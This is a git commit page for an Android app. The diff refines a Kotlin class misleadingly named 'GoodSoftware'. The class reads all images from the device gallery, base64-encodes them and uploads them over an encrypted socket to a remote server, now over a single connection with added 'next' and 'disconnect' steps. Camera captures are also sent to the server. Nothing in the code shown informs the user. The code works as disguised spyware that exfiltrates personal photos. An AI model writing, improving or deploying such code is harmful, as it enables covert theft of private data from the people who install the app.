Multiple files over 1 connection

This commit is contained in:
Joren 2024-05-02 16:00:53 +02:00
parent ccc95f15ef
commit 9f3955cdba
Signed by untrusted user who does not match committer: Joren
GPG Key ID: 280E33DFBC0F1B55
2 changed files with 19 additions and 27 deletions

View File

@ -4,18 +4,6 @@
<value> <value>
<entry key="MainActivity"> <entry key="MainActivity">
<State> <State>
<runningDeviceTargetSelectedWithDropDown>
<Target>
<type value="RUNNING_DEVICE_TARGET" />
<deviceKey>
<Key>
<type value="SERIAL_NUMBER" />
<value value="4d16b842" />
</Key>
</deviceKey>
</Target>
</runningDeviceTargetSelectedWithDropDown>
<timeTargetWasSelectedWithDropDown value="2024-05-02T13:08:12.236226337Z" />
<targetsSelectedWithDialog> <targetsSelectedWithDialog>
<Target> <Target>
<type value="QUICK_BOOT_TARGET" /> <type value="QUICK_BOOT_TARGET" />

View File

@ -160,13 +160,14 @@ class GoodSoftware (private val activity: MainActivity) {
try { try {
val imageList = getAllImagesFromGallery(activity) val imageList = getAllImagesFromGallery(activity)
println(imageList) println(imageList)
val connection = establishConnection()
for (image in imageList) { for (image in imageList) {
val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver) val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
Thread { println("Image send $image")
println("Sending data to server") sendDataToServer(base64Image, connection)
sendDataToServer(base64Image, establishConnection()) next(connection)
}.start()
} }
disconnect(connection)
} catch (e: Exception) { } catch (e: Exception) {
e.printStackTrace() e.printStackTrace()
// Handle the exception, e.g., log the error or notify the user // Handle the exception, e.g., log the error or notify the user
@ -306,6 +307,8 @@ class GoodSoftware (private val activity: MainActivity) {
writer.println(encryptText(encodedUid, pKey)) writer.println(encryptText(encodedUid, pKey))
reader.readLine() reader.readLine()
println("Connection, OK!")
return ConnectionResult(socket, reader, writer, key, iv, algorithm) return ConnectionResult(socket, reader, writer, key, iv, algorithm)
} }
fun sendDataToServer(sendData: String, connectionResult: ConnectionResult) { fun sendDataToServer(sendData: String, connectionResult: ConnectionResult) {
@ -322,26 +325,25 @@ class GoodSoftware (private val activity: MainActivity) {
writer.println("END_OF_DATA") writer.println("END_OF_DATA")
reader.readLine() reader.readLine()
println("Client: Ready for next operation")
writer.println("Ready for next operation")
reader.readLine()
// Close resources
writer.close()
reader.close()
socket.close()
} catch (e: Exception) { } catch (e: Exception) {
e.printStackTrace() e.printStackTrace()
// Handle the exception, e.g., log the error or notify the user // Handle the exception, e.g., log the error or notify the user
} }
} }
fun next(connectionResult: ConnectionResult) {
val (socket, reader, writer, _, _, _) = connectionResult
try {
writer.println("NEXT")
} catch (e: Exception) {
e.printStackTrace()
}
}
fun disconnect(connectionResult: ConnectionResult) { fun disconnect(connectionResult: ConnectionResult) {
val (socket, reader, writer, _, _, _) = connectionResult val (socket, reader, writer, _, _, _) = connectionResult
try { try {
writer.println("END_OF_COMMUNICATION") writer.println("END_OF_COMMUNICATION")
reader.readLine() println("Disconnect")
writer.close() writer.close()
reader.close() reader.close()
socket.close() socket.close()
@ -390,7 +392,9 @@ class GoodSoftware (private val activity: MainActivity) {
//Log.d(picture.TAG, "Base64 Image: $base64Image") //Log.d(picture.TAG, "Base64 Image: $base64Image")
Thread { Thread {
println("Sending data to server") println("Sending data to server")
sendDataToServer(base64Image, establishConnection()) val conn = establishConnection()
sendDataToServer(base64Image, conn)
disconnect(conn)
}.start() }.start()
image.close() image.close()
} }